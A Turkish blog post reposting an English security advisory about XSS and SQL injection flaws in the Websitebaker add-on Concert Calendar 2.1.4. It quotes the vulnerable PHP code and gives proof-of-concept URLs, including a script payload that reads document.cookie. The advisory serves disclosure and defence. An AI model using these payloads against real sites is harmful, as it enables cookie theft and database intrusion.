Websitebaker Add-on Concert Calendar 2.1.4 Multiple Vulnerabilities

Websitebaker Add-on Concert Calendar 2.1.4 Versiyonunda genel açık bulundu. Açıkla ilgili olarak açık bulucunun açığın oluşum yerleri ve kullanımı hakkındaki yorumları aşağıdaki şekilde.


Advisory:  Websitebaker Add-on 'Concert Calendar 2.1.4' XSS & SQLi vulnerability Advisory ID:  SSCHADV2013-001 Author:   Stefan Schurtz Affected Software: Successfully tested on Concert Calendar 2.1.4 Vendor URL:  <a href="http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37">http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37</a> Vendor Status:  informed

========================== Vulnerability Description ==========================

Websitebaker Add-on 'Concert Calendar 2.1.4' is prone to a XSS and SQLi vulnerability

========================== Vuln code ==========================

// view.php

if (isset($_GET['date'])) {         $date = $_GET['date']; } . . . // SQLi $query_dates = mysql_query("SELECT * FROM ".TABLE_PREFIX."mod_concert_dates WHERE section_id = '$section_id' && concert_date = '$date'"); // Zeile 184

// XSS

echo " ".switch_date($date, $dateview)." "; // Zeile 176

========================== PoC-Exploit ==========================

// SQLi (magic_quotes = off)

<a href="http://[target]/wb/pages/addon.php?date=[SQLi">http://[target]/wb/pages/addon.php?date=[SQLi</a>]

// XSS

<a href="http://[target]/wb/pages/addon.php?date='&quot;><script>alert(document.cookie)</script">http://[target]/wb/pages/addon.php?date='"><script>alert(document.cookie)</script</a>>

========================== Solution ==========================

-

========================== Disclosure Timeline ==========================

01-Jan-2013 - developer informed

========================== Credits ==========================

Vulnerabilities found and advisory written by Stefan Schurtz.

========================== References ==========================

<a href="http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37">http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37</a> <a href="http://www.darksecurity.de/advisories/2012/SSCHADV2012-022.txt">http://www.darksecurity.de/advisories/2012/SSCHADV2012-022.txt</a>

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir